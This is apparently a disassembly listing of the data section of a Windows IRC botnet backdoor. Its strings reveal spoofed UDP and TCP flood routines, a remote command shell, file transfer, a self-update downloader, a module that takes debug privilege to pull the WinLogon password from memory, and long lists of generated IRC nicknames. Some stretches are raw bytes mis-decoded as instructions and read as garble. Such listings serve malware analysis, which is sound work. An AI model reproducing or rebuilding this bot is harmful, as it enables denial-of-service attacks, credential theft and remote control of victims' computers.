6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437AEC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143F7+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o align 4 dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DD8:loc_415E0Do dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DD8+20o dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415F27o dd 6574656Ch, 0 dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E8Ao dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437FEC db 2Dh ; - ; DATA XREF: ___:004162BEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00416523o ; ___:004166B9o dd 726F72h unk_438028 db 2Dh ; - ; DATA XREF: ___:004164BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_438054 db 2Dh ; - ; DATA XREF: ___:004163C3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:0041638Co dd 74756Fh dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:0041632Bo dd 169h unk_4380A8 db 2Dh ; - ; DATA XREF: ___:004162E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_4380C8 db 2Dh ; - ; DATA XREF: ___:00416243o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4380EC db 2Dh ; - ; DATA XREF: ___:00416205o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_438110 db 2Dh ; - ; DATA XREF: ___:00416734o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43813C db 2Dh ; - ; DATA XREF: ___:0041662Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43815C db 2Dh ; - ; DATA XREF: ___:0041660Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:004165FAo unk_43818C db 2Dh ; - ; DATA XREF: ___:004165E6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4381BC db 2Dh ; - ; DATA XREF: ___:00416C33o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4381E8 db 2Dh ; - ; DATA XREF: ___:00416C25o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43821C db 2Dh ; - ; DATA XREF: ___:00416B69o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AF8o dd 25206465h, 73h unk_43827C db 2Dh ; - ; DATA XREF: ___:00416A81o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_4382B4 db 2Dh ; - ; DATA XREF: ___:00416A02o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_4382DC db 2Dh ; - ; DATA XREF: ___:00416978o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_438308 db 2Dh ; - ; DATA XREF: ___:00416935o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_438330 db 2Dh ; - ; DATA XREF: ___:00416923o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_438358 db 2Dh ; - ; DATA XREF: ___:00416817o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo ; sub_419443+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o align 4 off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo ; sub_41AF8F:loc_41B091r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o ; sub_416EFD+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co align 10h unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_438438 dd offset byte_5C3A41 ; DATA XREF: sub_416FCF:loc_417014o db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_43859C dd offset a_JqU0DxN ; DATA XREF: sub_4172C1+DCo ; "ы.$├÷ [·0╩dXв\"n" dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004C+1 dd offset byte_4E0049 dd 0 off_4385B4 dd offset a_JqU0DxN ; DATA XREF: sub_4172C1+CEo ; "ы.$├÷ [·0╩dXв\"n" dd offset byte_520045 dd offset loc_41004C+2 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o ; sub_4172C1+161o ... align 4 unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo align 4 dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178F9+70o ; sub_417990+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417990+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr ; "q" ; --------------------------------------------------------------------------- sbb [ebx-4E77FFBDh], dl inc edx add [eax+1C0042C6h], ah mov byte ptr [edx+0], 14h xchg eax, ebx inc ebx add al, dl scasd inc edx add [eax-3Ah], dh inc edx add [edi+ebp*4-4DE7FFBEh], ch inc edx add [eax-3Ah], bh inc edx add [eax], dl xchg eax, ebx inc ebx add [ebx+edx*4], cl inc ebx add [eax], cl xchg eax, ebx inc ebx add [ebx+edx*4], al inc ebx add [edi+esi*4+42h], bh add ah, ch retf 42h ; --------------------------------------------------------------------------- dd offset dword_439300 ; --------------------------------------------------------------------------- cld xchg eax, edx inc ebx add al, bh xchg eax, edx inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_4392F4 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4392F0 dd offset dword_4392EC dd offset dword_4392E8 dd offset dword_4392E4 dd offset dword_4392E0 dd offset word_4392DC dd offset dword_4392D8 dd offset aI_0 ; "I" dd offset dword_4392D4 dd offset dword_4392D0 dd offset aA_0 ; "A" dd offset dword_4392CC dd offset dword_4392C8 dd offset dword_4392C4 dd offset dword_4392C0 dd offset dword_4392BC dd offset dword_4392B8 dd offset dword_4392B4 dd offset dword_4392B0 dd offset dword_4392AC dd offset dword_4392A8 dd offset dword_4392A4 dd offset dword_4392A0 dd offset dword_43929C dd offset word_439298 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_439030 dd offset off_43902C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438E98 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r ; sub_417E84+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" ; --------------------------------------------------------------------------- push 6000438Dh lea eax, [ebx+0] pop eax lea eax, [ebx+0] push eax lea eax, [ebx+0] dec eax lea eax, [ebx+0] inc eax lea eax, [ebx+0] cmp [ebp-72CFFFBDh], cl inc ebx add [eax], ch lea eax, [ebx+0] sbb al, 8Dh inc ebx add ds:8D0C0043h[ecx*4], dl inc ebx add [eax], cl lea eax, [ebx+0] add [ebp-6D0BFFBDh], cl inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- db 10h db 93h ; ⌠ db 43h ; C db 0 db 88h ; ┬ db 0B1h ; ╠ db 42h ; B db 0 db 0Ch db 93h ; ⌠ db 43h ; C db 0 db 8 db 93h ; ⌠ db 43h ; C db 0 db 4 db 93h ; ⌠ db 43h ; C db 0 db 70h ; p db 0C6h ; ф db 42h ; B db 0 db 34h ; 4 db 0B9h ; ╧ db 42h ; B db 0 db 7Ch ; | db 0B7h ; ╥ db 42h ; B db 0 db 0ECh ; Л db 0CAh ; й db 42h ; B db 0 dd offset dword_439300 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_439318 dd offset dword_4392F8 dd offset dword_439314 dd offset dword_4392FC dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_4392FC dd offset dword_439308 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438CB8 dd offset aBbl ; "|bbl" dd offset byte_43DB88 dd offset byte_43DB88 dd offset a___0 ; "_|_" dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392C4 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4392F4 dd offset byte_43DB88 dd offset aSleeping ; "Sleeping" dd offset byte_43DB88 dd offset byte_43DB88 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392A8 dd offset byte_43DB88 dd offset off_438C78 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438C38 dd offset dword_438C34 dd offset dword_438C2C dd offset dword_438C20 dd offset dword_438C18 dd offset dword_438C10 dd offset dword_438C08 dd offset dword_438C04 dd offset dword_438C00 dword_438C00 dd 7536h ; DATA XREF: ___:00438BFCo dword_438C04 dd 7535h ; DATA XREF: ___:00438BF8o dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: ___:00438BF4o dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438BF0o dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438BECo dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438BE4o dword_438C34 dd 6C6F6Ch ; DATA XREF: ___:00438BE0o dword_438C38 dd 746F74h ; DATA XREF: ___:00438BDCo aMofo db 'mofo',0 ; DATA XREF: ___:00438BD8o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438BD4o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438BD0o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438BCCo align 4 aAha db 'aha',0 ; DATA XREF: ___:00438BC8o aShit db 'shit',0 ; DATA XREF: ___:00438BC4o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438BC0o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438BBCo align 4 off_438C78 dd offset loc_594F42 ; DATA XREF: ___:00438BB8o aFree db 'Free',0 ; DATA XREF: ___:00438BA4o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438BA0o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438B94o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438B88o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438B84o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438B80o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00438B64o aBbl db '|bbl',0 ; DATA XREF: ___:00438B58o align 4 off_438CB8 dd offset loc_425240+2 ; DATA XREF: ___:00438B54o aMuckc db 'muckc',0 ; DATA XREF: ___:00438B40o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438B3Co align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438B38o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00438B34o align 4 aUi db 'ui',0 ; DATA XREF: ___:00438B30o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00438B2Co aRt db 'rt',0 ; DATA XREF: ___:00438B28o align 4 aGf db 'gf',0 ; DATA XREF: ___:00438B24o align 4 aTy db 'ty',0 ; DATA XREF: ___:00438B20o align 10h aRg db 'rg',0 ; DATA XREF: ___:00438B1Co align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438B18o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438AF8o align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 align 10h aSex_0 db '{sex}',0 align 4 aHub db '{hub}',0 align 10h aLuck db '|luck|',0 align 4 aSuck db '|suck|',0 align 10h aTot db '-|tot|',0 align 4 aWoh db '|woh|',0 align 10h aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 ; DATA XREF: ___:00438A78o aTree db 'tree',0 ; DATA XREF: ___:00438A74o align 4 aZex db 'zex',0 ; DATA XREF: ___:00438A70o aLez db 'lez',0 ; DATA XREF: ___:00438A6Co aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A64o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A60o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A5Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A58o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A54o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A50o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A4Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438A48o align 4 aCem39 db 